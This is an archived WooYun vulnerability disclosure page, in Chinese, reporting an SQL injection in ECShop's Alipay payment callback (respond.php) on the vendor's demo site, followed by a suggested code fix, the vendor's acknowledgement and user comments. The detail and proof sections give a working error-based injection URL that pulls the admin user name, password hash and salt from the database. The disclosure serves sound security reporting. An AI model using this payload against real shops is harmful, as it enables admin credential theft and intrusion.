当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(18) 关注此漏洞

缺陷编号： WooYun-2013-25316

漏洞标题： ecshop展示站SQL注入漏洞,可利用

相关厂商： ShopEx

漏洞作者： hooklt（小兰）

提交时间： 2013-06-07 11:17

公开时间： 2013-07-22 11:17

漏洞类型： SQL注射漏洞

危害等级： 中

自评Rank： 5

漏洞状态： 厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： 无

3人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-06-07： 细节已通知厂商并且等待厂商处理中
2013-06-07： 厂商已经确认，细节仅向厂商公开
2013-06-17： 细节向核心白帽子及相关领域专家公开
2013-06-27： 细节向普通白帽子公开
2013-07-07： 细节向实习白帽子公开
2013-07-22： 细节向公众公开

简要描述：

ecshop展示站注入漏洞

详细说明：

code 区域
http://www.ecshop.cn/respond.php?code=alipay&subject=00&out_trade_no=%000'%20and%20(select%20*%20from(select%20count(*),concat(floor(rand(0)*2),(select%20concat(000x7c,user_name,000x7c,password,000x7c,ec_salt)%20from%20ecs_admin_user%20limit%201))a%20from%20information_schema.tables%20group%20by%20a)b)%20--%20by%20a



ecshop.jpg

漏洞证明：

code 区域
http://www.ecshop.cn/respond.php?code=alipay&subject=00&out_trade_no=%000'%20and%20(select%20*%20from(select%20count(*),concat(floor(rand(0)*2),(select%20concat(000x7c,user_name,000x7c,password,000x7c,ec_salt)%20from%20ecs_admin_user%20limit%201))a%20from%20information_schema.tables%20group%20by%20a)b)%20--%20by%20a



ecshop.jpg

修复方案：

各种过滤升级成最新版！话说官方自己都出补丁了吧

2.修改/includes/modules/payment/alipay.php文件中



$order_sn = str_replace($_GET['subject'], '',$_GET['out_trade_no']);



$order_sn = trim($order_sn);



修改成如下代码



$order_sn = str_replace($_GET['subject'], '',$_GET['out_trade_no']);



$order_sn = trim(addslashes($order_sn));

版权声明：转载请注明来源 hooklt（小兰）@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：4

确认时间：2013-06-07 12:21

厂商回复：

非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-06-07 11:52 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)
    0

    卧槽，官方还可利用？啥漏洞？

    1# 回复此人
  2. 2013-06-07 12:08 | 齐迹 ( 普通白帽子 | Rank:804 漏洞数:104 | 重庆地区招聘安全工程师。sec.zbj.com欢迎...)
    0

    @疯狗 还没来得及打补丁呗。。。

    2# 回复此人
  3. 2013-06-18 23:32 | 乐乐、 ( 普通白帽子 | Rank:868 漏洞数:189 )
    0

    膜拜小兰大牛！

    3# 回复此人
  4. 2013-06-19 12:06 | hooklt（小兰） ( 路人 | Rank:20 漏洞数:4 | 在山的那边海的那边有一群安全男，他们苦逼...)
    0

    @乐乐、 乐乐儿子好久不见啊

    4# 回复此人
  5. 2013-06-19 13:42 | 乐乐、 ( 普通白帽子 | Rank:868 漏洞数:189 )
    0

    @hooklt（小兰） 小兰孙儿好久不见~

    5# 回复此人
  6. 2013-06-23 23:45 | hooklt（小兰） ( 路人 | Rank:20 漏洞数:4 | 在山的那边海的那边有一群安全男，他们苦逼...)
    0

    @乐乐、 乐乐曾孙子好久不见

    6# 回复此人
  7. 2013-06-23 23:59 | 乐乐、 ( 普通白帽子 | Rank:868 漏洞数:189 )
    0

    @hooklt（小兰） -.- 尼玛，有意思吗。

    7# 回复此人
  8. 2013-07-05 17:55 | hfy ( 路人 | Rank:5 漏洞数:3 | 打了个狗~)
    0

    靠，丢了我两个币，这个洞都不知道多久了~

    8# 回复此人
  9. 2013-07-30 22:12 | Soul ( 路人 | Rank:12 漏洞数:9 | 1+1=?)
    0

    楼主提交的ecshop，厂商回复：非常感谢您为shopex信息安全做的贡献。这我跟小伙伴们都凌乱了！

    9# 回复此人

登录后才能发表评论，请先 登录 。